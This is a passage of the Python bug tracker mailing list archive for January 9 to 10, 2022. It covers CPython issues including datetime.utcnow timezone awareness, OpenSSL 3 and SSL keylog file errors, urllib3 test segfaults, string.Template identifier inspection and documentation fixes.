<1641753460.47.0.959606038192.issue46319@roundup.psfhosted.org> New submission from Tony Rice : datetime.datetime.utcnow() returns a timezone naive datetime, this is counter-intuitive since you are logically dealing with a known timezone. I suspect this was implemented this way for fidelity with the rest of datetime.datetime (which returns timezone naive datetime objects). The workaround (see below) is to replace the missing tzinfo. Recommendation: By default datetime.datetime.utcnow() should return a timezone aware datetime (with tzinfo of UTC of course) or at least offer this behavoir as an option, e.g.: datetime.datetime.utcnow(timezone-aware=True) Workaround: dt = datetime.utcnow().replace(tzinfo=timezone.utc) ---------- components: Library (Lib) messages: 410160 nosy: rtphokie priority: normal severity: normal status: open title: datetime.utcnow() should return a timezone aware datetime type: behavior versions: Python 3.10, Python 3.11, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 13:46:26 2022 From: report at bugs.python.org (Christian Heimes) Date: Sun, 09 Jan 2022 18:46:26 +0000 Subject: [issue46315] Add support for WebAssembly System Interface (wasm32-wasi) In-Reply-To: <1641739663.52.0.433507958543.issue46315@roundup.psfhosted.org> Message-ID: <1641753986.83.0.204321112433.issue46315@roundup.psfhosted.org> Change by Christian Heimes : ---------- keywords: +patch pull_requests: +28712 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30507 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 14:02:43 2022 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Sun, 09 Jan 2022 19:02:43 +0000 Subject: [issue46285] http/server.py wont respect its protocol_version In-Reply-To: <1641494361.52.0.586828537376.issue46285@roundup.psfhosted.org> Message-ID: <1641754963.34.0.906643161518.issue46285@roundup.psfhosted.org> ?ric Araujo added the comment: I am a bit confused! The script you attached is to show a problem, but you?re saying there is no problem? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 14:14:39 2022 From: report at bugs.python.org (Mariusz Felisiak) Date: Sun, 09 Jan 2022 19:14:39 +0000 Subject: [issue46249] [sqlite3] lastrowid improvements In-Reply-To: <1641244467.23.0.820858977306.issue46249@roundup.psfhosted.org> Message-ID: <1641755679.06.0.19230367247.issue46249@roundup.psfhosted.org> Change by Mariusz Felisiak : ---------- nosy: +felixxm _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 14:21:11 2022 From: report at bugs.python.org (Alex Waygood) Date: Sun, 09 Jan 2022 19:21:11 +0000 Subject: [issue46319] datetime.utcnow() should return a timezone aware datetime In-Reply-To: <1641753460.47.0.959606038192.issue46319@roundup.psfhosted.org> Message-ID: <1641756071.22.0.301269166027.issue46319@roundup.psfhosted.org> Change by Alex Waygood : ---------- nosy: +belopolsky, p-ganssle versions: -Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 14:59:42 2022 From: report at bugs.python.org (=?utf-8?q?Alex_Gr=C3=B6nholm?=) Date: Sun, 09 Jan 2022 19:59:42 +0000 Subject: [issue46313] SSLObject does not raise SSLEOFError on OpenSSL 3 In-Reply-To: <1641735617.1.0.262008079316.issue46313@roundup.psfhosted.org> Message-ID: <1641758382.95.0.766509632504.issue46313@roundup.psfhosted.org> Alex Gr?nholm added the comment: I hope the Fedora maintainers/packagers know this because on Rawhide, Python is being compiled against OpenSSL 3 (which is how we discovered the problem). F36 is due out in a little over 3 months. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 15:33:09 2022 From: report at bugs.python.org (Hugo Almeida) Date: Sun, 09 Jan 2022 20:33:09 +0000 Subject: [issue46285] http/server.py wont respect its protocol_version In-Reply-To: <1641494361.52.0.586828537376.issue46285@roundup.psfhosted.org> Message-ID: <1641760389.29.0.114095532315.issue46285@roundup.psfhosted.org> Hugo Almeida added the comment: Hi, buddy, there is no problem if invoke the http.server.test function as its designed, I mean the function iteself is okay, thus http/server.py invoked it via the functools.partial wrapper (handler_class) only will case this issue, which technically ignored its protocol parameter's specify. User of http/server.py::test should specify a handler class directly. If this is a bug, maybe it is about the usage/desire of `functools.partial` ... I am not sure, closure model programming (the lambda etc.) is not eary for me and I closed this issue by courtesy yesterday, if reopen this issue will help/valueable a bit, please tell me. Improve my English seems too nessary, thank you so much for your warm hearted. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 15:34:33 2022 From: report at bugs.python.org (Christian Heimes) Date: Sun, 09 Jan 2022 20:34:33 +0000 Subject: [issue46313] SSLObject does not raise SSLEOFError on OpenSSL 3 In-Reply-To: <1641735617.1.0.262008079316.issue46313@roundup.psfhosted.org> Message-ID: <1641760473.81.0.794656511678.issue46313@roundup.psfhosted.org> Christian Heimes added the comment: Petr and Charis are aware that there are issues with OpenSSL 3.0 support. RHEL 9 FIPS support is broken as well. It's also documented in the release notes and I just wrote an email to python-dev, too. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 15:36:00 2022 From: report at bugs.python.org (=?utf-8?q?Alex_Gr=C3=B6nholm?=) Date: Sun, 09 Jan 2022 20:36:00 +0000 Subject: [issue46313] SSLObject does not raise SSLEOFError on OpenSSL 3 In-Reply-To: <1641735617.1.0.262008079316.issue46313@roundup.psfhosted.org> Message-ID: <1641760560.02.0.600180364061.issue46313@roundup.psfhosted.org> Alex Gr?nholm added the comment: Good to see that this is being handled. I could try to write a patch to do what I suggested above, if you're willing to review it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 15:48:32 2022 From: report at bugs.python.org (Quentin Pradet) Date: Sun, 09 Jan 2022 20:48:32 +0000 Subject: [issue46320] runtime/interp/thread state refactoring leads to segmentation fault Message-ID: <1641761312.51.0.52946214208.issue46320@roundup.psfhosted.org> New submission from Quentin Pradet : Since https://github.com/python/cpython/commit/32a67246b0d1e08cd50fc3bfa58052cfeb515b2e which was introduced through https://bugs.python.org/issue46008 and shipped as part of alpha 3, the urllib3 test suite reliably crashes on Fedora 35 (ie. gives a segfault). I've narrowed the reproducer code down to https://github.com/pquentin/urllib3/blob/segfault/test/test_reproduce.py, but that still requires cffi, pyOpenSSL and Tornado. The segfault either happens in the `ssl` module or the `selectors` module: ``` ================================================= test session starts ================================================= platform linux -- Python 3.11.0a2+, pytest-6.2.5, py-1.11.0, pluggy-1.0.0 rootdir: /home/q/pub/urllib3, configfile: setup.cfg collected 1 item test/test_reproduce.py Fatal Python error: Segmentation fault Thread 0x00007fee9a250640 (most recent call first): File "/home/q/pub/install/lib/python3.11/ssl.py", line 1346 in do_handshake File "/home/q/pub/urllib3/venv/lib/python3.11/site-packages/tornado/iostream.py", line 1391 in _do_ssl_handshake File "/home/q/pub/urllib3/venv/lib/python3.11/site-packages/tornado/iostream.py", line 1478 in _handle_read File "/home/q/pub/urllib3/venv/lib/python3.11/site-packages/tornado/iostream.py", line 696 in _handle_events File "/home/q/pub/urllib3/venv/lib/python3.11/site-packages/tornado/platform/asyncio.py", line 189 in _handle_events File "/home/q/pub/install/lib/python3.11/asyncio/events.py", line 80 in _run File "/home/q/pub/install/lib/python3.11/asyncio/base_events.py", line 1858 in _run_once File "/home/q/pub/install/lib/python3.11/asyncio/base_events.py", line 591 in run_forever File "/home/q/pub/urllib3/venv/lib/python3.11/site-packages/tornado/platform/asyncio.py", line 199 in start File "/home/q/pub/install/lib/python3.11/threading.py", line 968 in run File "/home/q/pub/install/lib/python3.11/threading.py", line 1031 in _bootstrap_inner File "/home/q/pub/install/lib/python3.11/threading.py", line 988 in _bootstrap Extension modules: tornado.speedups, _brotli, _cffi_backend (total: 3) zsh: segmentation fault (core dumped) pytest ``` ``` ================================================= test session starts ================================================= platform linux -- Python 3.11.0a2+, pytest-6.2.5, py-1.11.0, pluggy-1.0.0 rootdir: /home/q/pub/urllib3, configfile: setup.cfg collected 1 item test/test_reproduce.py Fatal Python error: Segmentation fault Thread 0x00007fee9a250640 (most recent call first): File "/home/q/pub/install/lib/python3.11/ssl.py", line 1346 in do_handshake File "/home/q/pub/urllib3/venv/lib/python3.11/site-packages/tornado/iostream.py", line 1391 in _do_ssl_handshake File "/home/q/pub/urllib3/venv/lib/python3.11/site-packages/tornado/iostream.py", line 1478 in _handle_read File "/home/q/pub/urllib3/venv/lib/python3.11/site-packages/tornado/iostream.py", line 696 in _handle_events File "/home/q/pub/urllib3/venv/lib/python3.11/site-packages/tornado/platform/asyncio.py", line 189 in _handle_events File "/home/q/pub/install/lib/python3.11/asyncio/events.py", line 80 in _run File "/home/q/pub/install/lib/python3.11/asyncio/base_events.py", line 1858 in _run_once File "/home/q/pub/install/lib/python3.11/asyncio/base_events.py", line 591 in run_forever File "/home/q/pub/urllib3/venv/lib/python3.11/site-packages/tornado/platform/asyncio.py", line 199 in start File "/home/q/pub/install/lib/python3.11/threading.py", line 968 in run File "/home/q/pub/install/lib/python3.11/threading.py", line 1031 in _bootstrap_inner File "/home/q/pub/install/lib/python3.11/threading.py", line 988 in _bootstrap Extension modules: tornado.speedups, _brotli, _cffi_backend (total: 3) zsh: segmentation fault (core dumped) pytest ``` I can work on a better reproducer, but thought this was already interesting as https://github.com/python/cpython/pull/29977 states there should have been zero change in behavior. ---------- components: Interpreter Core messages: 410166 nosy: Quentin.Pradet, SethMichaelLarson, eric.snow priority: normal severity: normal status: open title: runtime/interp/thread state refactoring leads to segmentation fault type: crash versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 15:51:32 2022 From: report at bugs.python.org (Quentin Pradet) Date: Sun, 09 Jan 2022 20:51:32 +0000 Subject: [issue46320] runtime/interp/thread state refactoring leads to segmentation fault In-Reply-To: <1641761312.51.0.52946214208.issue46320@roundup.psfhosted.org> Message-ID: <1641761492.37.0.25318108388.issue46320@roundup.psfhosted.org> Quentin Pradet added the comment: Sorry, I pasted the same crash twice. Here's the segmentation fault in `selectors`: ``` ============================================================================================================= test session starts ============================================================================================================= platform linux -- Python 3.11.0a2+, pytest-6.2.5, py-1.11.0, pluggy-1.0.0 rootdir: /home/q/pub/urllib3, configfile: setup.cfg collected 1 item test/test_reproduce.py Fatal Python error: Segmentation fault Thread 0x00007f9683378640 (most recent call first): File "/home/q/pub/install/lib/python3.11/selectors.py", line 416 in select File "/home/q/pub/install/lib/python3.11/asyncio/base_events.py", line 1822 in _run_once File "/home/q/pub/install/lib/python3.11/asyncio/base_events.py", line 591 in run_forever File "/home/q/pub/urllib3/venv/lib/python3.11/site-packages/tornado/platform/asyncio.py", line 199 in start File "/home/q/pub/install/lib/python3.11/threading.py", line 968 in run File "/home/q/pub/install/lib/python3.11/threading.py", line 1031 in _bootstrap_inner File "/home/q/pub/install/lib/python3.11/threading.py", line 988 in _bootstrap Extension modules: tornado.speedups, _brotli, _cffi_backend (total: 3) zsh: segmentation fault (core dumped) pytest ``` (Those results are produced with https://github.com/python/cpython/commit/32a67246b0d1e08cd50fc3bfa58052cfeb515b2e) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 15:58:25 2022 From: report at bugs.python.org (Quentin Pradet) Date: Sun, 09 Jan 2022 20:58:25 +0000 Subject: [issue46008] Prepare runtime/interp/thread state and init for upcoming changes. In-Reply-To: <1638908666.73.0.306470014114.issue46008@roundup.psfhosted.org> Message-ID: <1641761905.65.0.326720034844.issue46008@roundup.psfhosted.org> Quentin Pradet added the comment: For what it's worth, this refactoring led to a 100% reproducible crash on my Fedora laptop: https://bugs.python.org/issue46320. (And led to various crashes in urllib3's CI, but they were more random.) ---------- nosy: +Quentin.Pradet _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 16:05:30 2022 From: report at bugs.python.org (Devin Harper) Date: Sun, 09 Jan 2022 21:05:30 +0000 Subject: [issue46321] Don't need delineators on lists Message-ID: <1641762330.23.0.642168893921.issue46321@roundup.psfhosted.org> New submission from Devin Harper <345trig at gmail.com>: a=1 b=2 c=3 list=a, b, c #Remove spaces at the end of lists. Because sometimes spaces are errors or not depending on the number of items in your list. Remove list delineators to save a little memory and time not typing those delineator symbols on list definitions. for items in list: print(items) ---------- assignee: docs at python components: Documentation messages: 410169 nosy: 345trig, docs at python priority: normal severity: normal status: open title: Don't need delineators on lists type: resource usage _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 16:11:45 2022 From: report at bugs.python.org (Dennis Sweeney) Date: Sun, 09 Jan 2022 21:11:45 +0000 Subject: [issue46321] Don't need delineators on lists In-Reply-To: <1641762330.23.0.642168893921.issue46321@roundup.psfhosted.org> Message-ID: <1641762705.76.0.12517887025.issue46321@roundup.psfhosted.org> Dennis Sweeney added the comment: What you typed is already valid syntax, it's just that `a, b, c` makes a tuple, not a list. Changing that now would be backwards-incompatible. Is this a request for some kind of tweak to some documentation, or is this a request for a different behavior? ---------- nosy: +Dennis Sweeney status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 16:39:47 2022 From: report at bugs.python.org (Alex Waygood) Date: Sun, 09 Jan 2022 21:39:47 +0000 Subject: [issue43698] Use syntactically correct examples on abc package page In-Reply-To: <1617301119.32.0.268651511376.issue43698@roundup.psfhosted.org> Message-ID: <1641764387.49.0.511418993366.issue43698@roundup.psfhosted.org> Change by Alex Waygood : ---------- stage: -> patch review type: compile error -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 16:44:44 2022 From: report at bugs.python.org (Barry A. Warsaw) Date: Sun, 09 Jan 2022 21:44:44 +0000 Subject: [issue46321] Don't need delineators on lists In-Reply-To: <1641762330.23.0.642168893921.issue46321@roundup.psfhosted.org> Message-ID: <1641764684.79.0.56390250631.issue46321@roundup.psfhosted.org> Barry A. Warsaw added the comment: As Dennis points out, this is not a bug, it's already valid Python syntax. ---------- nosy: +barry resolution: -> not a bug status: pending -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 17:01:48 2022 From: report at bugs.python.org (pmp-p) Date: Sun, 09 Jan 2022 22:01:48 +0000 Subject: [issue46315] Add support for WebAssembly System Interface (wasm32-wasi) In-Reply-To: <1641739663.52.0.433507958543.issue46315@roundup.psfhosted.org> Message-ID: <1641765708.49.0.217688307859.issue46315@roundup.psfhosted.org> Change by pmp-p : ---------- nosy: +pmpp _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 17:20:41 2022 From: report at bugs.python.org (Ben Kehoe) Date: Sun, 09 Jan 2022 22:20:41 +0000 Subject: [issue46307] string.Template should allow inspection of identifiers In-Reply-To: <1641736429.21.0.633548021827.issue46307@roundup.psfhosted.org> Message-ID: Ben Kehoe added the comment: The point is to be able to programmatically determine what is needed for a successful substitute() call. A basic use case for this is better error messages; calling substitute() with an incomplete mapping will tell you only the first missing identifier it encounters; if you know all the identifiers you can raise an error about all the missing identifiers. Another error handling use case is checking whether the template is valid, without needing to provide a complete mapping. A use case unrelated to error handling that I?ve encountered a few times is interactive prompting for template values, which you can only do if you can get a list of the identifiers in the template. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 17:25:29 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sun, 09 Jan 2022 22:25:29 +0000 Subject: [issue46301] Enum tests: One branch is not covered in `Enum._convert_` In-Reply-To: <1641597332.21.0.584646171206.issue46301@roundup.psfhosted.org> Message-ID: <1641767129.84.0.512182803421.issue46301@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Seems that this PR has broken the refleak buildbots: https://buildbot.python.org/all/#/builders/320/builds/269/ https://buildbot.python.org/all/#/builders/384/builds/255 According to our buildbot policy, if this is not fixed in 24h we will need to revert ---------- nosy: +pablogsal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 17:39:56 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 09 Jan 2022 22:39:56 +0000 Subject: [issue46307] string.Template should allow inspection of identifiers In-Reply-To: <1641672749.81.0.761758582979.issue46307@roundup.psfhosted.org> Message-ID: <1641767996.68.0.462664535252.issue46307@roundup.psfhosted.org> Serhiy Storchaka added the comment: The simplest way of collecting template names is to use a defaultdict: >>> d = collections.defaultdict(str) >>> string.Template('$a $b').substitute(d) ' ' >>> d.keys() dict_keys(['a', 'b']) You can use a custom mapping if you need special handling of absent keys. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 17:48:02 2022 From: report at bugs.python.org (Ben Kehoe) Date: Sun, 09 Jan 2022 22:48:02 +0000 Subject: [issue46307] string.Template should allow inspection of identifiers In-Reply-To: <1641767996.68.0.462664535252.issue46307@roundup.psfhosted.org> Message-ID: Ben Kehoe added the comment: That doesn?t really seem like a Pythonic way of extracting that information? Nor does it seem like it would be an obvious trick for the average developer to come up with. A method that provides the information directly seems useful. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 18:09:58 2022 From: report at bugs.python.org (Devin Harper) Date: Sun, 09 Jan 2022 23:09:58 +0000 Subject: [issue46321] Don't need delineators on lists In-Reply-To: <1641762330.23.0.642168893921.issue46321@roundup.psfhosted.org> Message-ID: <1641769798.67.0.148475319027.issue46321@roundup.psfhosted.org> Devin Harper <345trig at gmail.com> added the comment: Had to look up tuple in documentation instead of list. Thanks for mentioning tuple! ---------- stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 18:10:15 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 09 Jan 2022 23:10:15 +0000 Subject: [issue1283110] Give __len__() advice for "don't know" Message-ID: <1641769815.68.0.140892105641.issue1283110@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> out of date stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 18:53:22 2022 From: report at bugs.python.org (SinaGhaaf) Date: Sun, 09 Jan 2022 23:53:22 +0000 Subject: [issue46322] Invalid file path of SSLKEYLOGFILE throw FileNotFoundError Message-ID: <1641772402.91.0.366626116181.issue46322@roundup.psfhosted.org> New submission from SinaGhaaf : An existence check of 'keylogfile' is missed at https://github.com/python/cpython/blob/main/Lib/ssl.py#L779, if the file path does not exist, it tries to set 'context.keylog_filename' to an invalid file, and the result would be 'FileNotFoundError'. The following check fixed the issue: if keylogfile and not sys.flags.ignore_environment and os.path.isfile(keylogfile): ``` Traceback (most recent call last): File "test_https.py", line 19, in from test.conftest import ServerConfig File "C:\Check\urllib3-patch-1\src\test\conftest.py", line 12, in from tornado import ioloop, web File "C:\Python38\lib\site-packages\tornado\web.py", line 87, in from tornado.httpserver import HTTPServer File "C:\Python38\lib\site-packages\tornado\httpserver.py", line 32, in from tornado.http1connection import HTTP1ServerConnection, HTTP1ConnectionParameters File "C:\Python38\lib\site-packages\tornado\http1connection.py", line 34, in from tornado import iostream File "C:\Python38\lib\site-packages\tornado\iostream.py", line 40, in from tornado.netutil import ssl_wrap_socket, _client_ssl_defaults, _server_ssl_defaults File "C:\Python38\lib\site-packages\tornado\netutil.py", line 34, in _client_ssl_defaults = ssl.create_default_context(ssl.Purpose.SERVER_AUTH) File "C:\Python38\lib\ssl.py", line 755, in create_default_context context.keylog_filename = keylogfile FileNotFoundError: [Errno 2] No such file or directory: 'D:\\invalid_path\\invalid_file.txt' ``` ---------- assignee: christian.heimes components: SSL messages: 410177 nosy: christian.heimes, ghaaf priority: normal severity: normal status: open title: Invalid file path of SSLKEYLOGFILE throw FileNotFoundError type: behavior versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 19:22:08 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 10 Jan 2022 00:22:08 +0000 Subject: [issue46167] Parse assert (x == y, "Descriptive text") as statement params instead of a tuple In-Reply-To: <1640289533.73.0.869146772295.issue46167@roundup.psfhosted.org> Message-ID: <1641774128.75.0.221076004442.issue46167@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: I created a PEP to formally propose the change: https://www.python.org/dev/peps/pep-0679/ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 19:44:38 2022 From: report at bugs.python.org (Martin Panter) Date: Mon, 10 Jan 2022 00:44:38 +0000 Subject: [issue46319] datetime.utcnow() should return a timezone aware datetime In-Reply-To: <1641753460.47.0.959606038192.issue46319@roundup.psfhosted.org> Message-ID: <1641775478.77.0.514070023521.issue46319@roundup.psfhosted.org> Martin Panter added the comment: Perhaps this is a duplicate of Issue 12756? ---------- nosy: +martin.panter superseder: -> datetime.datetime.utcnow should return a UTC timestamp _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 20:38:36 2022 From: report at bugs.python.org (Inada Naoki) Date: Mon, 10 Jan 2022 01:38:36 +0000 Subject: [issue23882] unittest discovery doesn't detect namespace packages when given no parameters In-Reply-To: <1428406596.02.0.0629964312505.issue23882@psf.upfronthosting.co.za> Message-ID: <1641778716.98.0.0474113062913.issue23882@roundup.psfhosted.org> Inada Naoki added the comment: New changeset 0b2b9d251374c5ed94265e28039f82b37d039e3e by Inada Naoki in branch 'main': bpo-23882: unittest: Drop PEP 420 support from discovery. (GH-29745) https://github.com/python/cpython/commit/0b2b9d251374c5ed94265e28039f82b37d039e3e ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 21:02:14 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Mon, 10 Jan 2022 02:02:14 +0000 Subject: [issue46270] Comparison operators in Python Tutorial 5.7 In-Reply-To: <1641399078.63.0.800108157977.issue46270@roundup.psfhosted.org> Message-ID: <1641780134.65.0.574133535929.issue46270@roundup.psfhosted.org> Raymond Hettinger added the comment: New changeset d24cd49acb25c36db31893b84d0ca4fe2f373b94 by Raymond Hettinger in branch 'main': bpo-46270: Describe the `in` and `not in` operators as membership tests. (GH-30504) https://github.com/python/cpython/commit/d24cd49acb25c36db31893b84d0ca4fe2f373b94 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 21:02:28 2022 From: report at bugs.python.org (miss-islington) Date: Mon, 10 Jan 2022 02:02:28 +0000 Subject: [issue46270] Comparison operators in Python Tutorial 5.7 In-Reply-To: <1641399078.63.0.800108157977.issue46270@roundup.psfhosted.org> Message-ID: <1641780148.36.0.471392739878.issue46270@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 3.0 -> 4.0 pull_requests: +28713 pull_request: https://github.com/python/cpython/pull/30509 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 21:03:13 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Mon, 10 Jan 2022 02:03:13 +0000 Subject: [issue46270] Comparison operators in Python Tutorial 5.7 In-Reply-To: <1641399078.63.0.800108157977.issue46270@roundup.psfhosted.org> Message-ID: <1641780193.98.0.694036676036.issue46270@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 21:32:01 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Mon, 10 Jan 2022 02:32:01 +0000 Subject: [issue46270] Comparison operators in Python Tutorial 5.7 In-Reply-To: <1641399078.63.0.800108157977.issue46270@roundup.psfhosted.org> Message-ID: <1641781921.09.0.465130871326.issue46270@roundup.psfhosted.org> Raymond Hettinger added the comment: New changeset 2e6798f35260ff90129861ef1f289ac40c0396c2 by Miss Islington (bot) in branch '3.10': bpo-46270: Describe the `in` and `not in` operators as membership tests. (GH-30504) (GH-30509) https://github.com/python/cpython/commit/2e6798f35260ff90129861ef1f289ac40c0396c2 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 22:21:41 2022 From: report at bugs.python.org (Paul Ganssle) Date: Mon, 10 Jan 2022 03:21:41 +0000 Subject: [issue46319] datetime.utcnow() should return a timezone aware datetime In-Reply-To: <1641753460.47.0.959606038192.issue46319@roundup.psfhosted.org> Message-ID: <1641784901.09.0.347735287368.issue46319@roundup.psfhosted.org> Paul Ganssle added the comment: Yes, this is the documented behavior, including a warning against using UTC now in the documentation! There is some possibility of removing utcnow entirely as an "attractive nuisance", but I suspect that this will lead to much consternation and hand-wringing, and there are some legitimate uses for `utcnow`, so I haven't made it a high priority to have that particular fight... ---------- resolution: -> duplicate stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 22:46:13 2022 From: report at bugs.python.org (Ethan Furman) Date: Mon, 10 Jan 2022 03:46:13 +0000 Subject: [issue46301] Enum tests: One branch is not covered in `Enum._convert_` In-Reply-To: <1641597332.21.0.584646171206.issue46301@roundup.psfhosted.org> Message-ID: <1641786373.6.0.93557905502.issue46301@roundup.psfhosted.org> Ethan Furman added the comment: Reverting. Nikita, you can use the command: ./python -m test.regrtest -R : test_enum to show the leaks and hopefully track them down. The half-hour I spent yielded no clues. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 23:01:21 2022 From: report at bugs.python.org (hydroflask) Date: Mon, 10 Jan 2022 04:01:21 +0000 Subject: [issue46323] Use _PyObject_Vectorcall in Modules/_ctypes/callbacks.c Message-ID: <1641787281.46.0.018565492634.issue46323@roundup.psfhosted.org> New submission from hydroflask : _CallPythonObject() in Modules/_ctypes/callbacks.c still uses the old API (PyObject_CallObject()) to invoke methods. It should use _PyObject_Vectorcall(). Creating an issue for this since this method is a little more performance sensitive than normal Python library code. ---------- components: ctypes messages: 410185 nosy: hydroflask priority: normal severity: normal status: open title: Use _PyObject_Vectorcall in Modules/_ctypes/callbacks.c type: performance versions: Python 3.10, Python 3.11, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 23:07:22 2022 From: report at bugs.python.org (Ethan Furman) Date: Mon, 10 Jan 2022 04:07:22 +0000 Subject: [issue46301] Enum tests: One branch is not covered in `Enum._convert_` In-Reply-To: <1641597332.21.0.584646171206.issue46301@roundup.psfhosted.org> Message-ID: <1641787642.25.0.805920922826.issue46301@roundup.psfhosted.org> Change by Ethan Furman : ---------- Removed message: https://bugs.python.org/msg410184 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 9 23:51:36 2022 From: report at bugs.python.org (William Navaraj) Date: Mon, 10 Jan 2022 04:51:36 +0000 Subject: [issue46275] caret location for syntax error pointing with f-strings In-Reply-To: <1641432348.77.0.771622178484.issue46275@roundup.psfhosted.org> Message-ID: <1641790296.08.0.141333974644.issue46275@roundup.psfhosted.org> William Navaraj added the comment: The variation in the caret position was also due to the trailing spaces. This is now sorted in this solution with a factored out function to find out the correct offset. https://github.com/python/cpython/compare/main...williamnavaraj:fix-issue-46275?expand=1 Tested against all of the following cases and it works great: temp=f"blank ({foo()}"+f"blank ({foo(}"+f"blank ({foo()}" temp=f"blank*{foo(*blank*foo()*blank*foo()}"+f"({foo(}"+f"blank ({foo(}" a=foo)+foo()+foo() f"blank ({foo(blank ({foo()}) blank foo()})" temp=f"blank ({foo)foo2" temp=f"blank {foo)" temp=f"blank {foo)" temp=f"blank ({foo)blank ({foo()}) blank foo()})" yetAnotherBlah temp=f"blank ({foo)blank ({foo()}) blank foo()})" yetAnotherBlahWithFurtherSpacesAfter ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 00:35:37 2022 From: report at bugs.python.org (bichanna) Date: Mon, 10 Jan 2022 05:35:37 +0000 Subject: [issue46324] 'import traceback' Causes a Crash Message-ID: <1641792937.05.0.517965113844.issue46324@roundup.psfhosted.org> New submission from bichanna : I was developing a programming language using Python, and I had a 'token.py' file. After changing the name of the file, the issue was solved. I am sure that my 'token.py' caused the error. Here's the traceback I got: Traceback (most recent call last): File "/some/path/main.py", line 2, in from parser import Parser File "/some/path/parser.py", line 3, in import traceback File "/usr/local/Cellar/python at 3.9/3.9.7/Frameworks/Python.framework/Versions/3.9/lib/python3.9/traceback.py", line 5, in import linecache File "/usr/local/Cellar/python at 3.9/3.9.7/Frameworks/Python.framework/Versions/3.9/lib/python3.9/linecache.py", line 11, in import tokenize File "/usr/local/Cellar/python at 3.9/3.9.7/Frameworks/Python.framework/Versions/3.9/lib/python3.9/tokenize.py", line 35, in from token import EXACT_TOKEN_TYPES ImportError: cannot import name 'EXACT_TOKEN_TYPES' from 'token' (/some/path/token.py) ---------- components: macOS messages: 410187 nosy: bichanna, ned.deily, ronaldoussoren priority: normal severity: normal status: open title: 'import traceback' Causes a Crash type: crash versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 00:59:48 2022 From: report at bugs.python.org (xx11mz) Date: Mon, 10 Jan 2022 05:59:48 +0000 Subject: [issue46325] Documentation for SubprocessTransport.get_pipe_transport return values readable/writable Message-ID: <1641794388.21.0.0521440708614.issue46325@roundup.psfhosted.org> New submission from xx11mz : SubprocessTransport.get_pipe_transport returns a "transport for the communication pipe corresponding to the integer file descriptor fd". Below that, it currently says fd 0 is readable and fd 1 and 2 are writable. But since it is referring to the subprocess' file descriptors from the perspective of the parent process, I believe fd 0 should be writable while fd 1 and 2 are readable. In other words, the parent process can write to the subprocess' stdin and read from its stdout and stderr. Maybe I have completely misunderstood this method, but I have confirmed that get_pipe_transport(0) indeed returns a writable transport. So unless I'm mistaken, I think the word "readable" should be changed to "writable" and vice-versa in the SubprocessTransport.get_pipe_transport documentation. ---------- assignee: docs at python components: Documentation messages: 410188 nosy: docs at python, xx11mz priority: normal severity: normal status: open title: Documentation for SubprocessTransport.get_pipe_transport return values readable/writable versions: Python 3.10, Python 3.11, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From 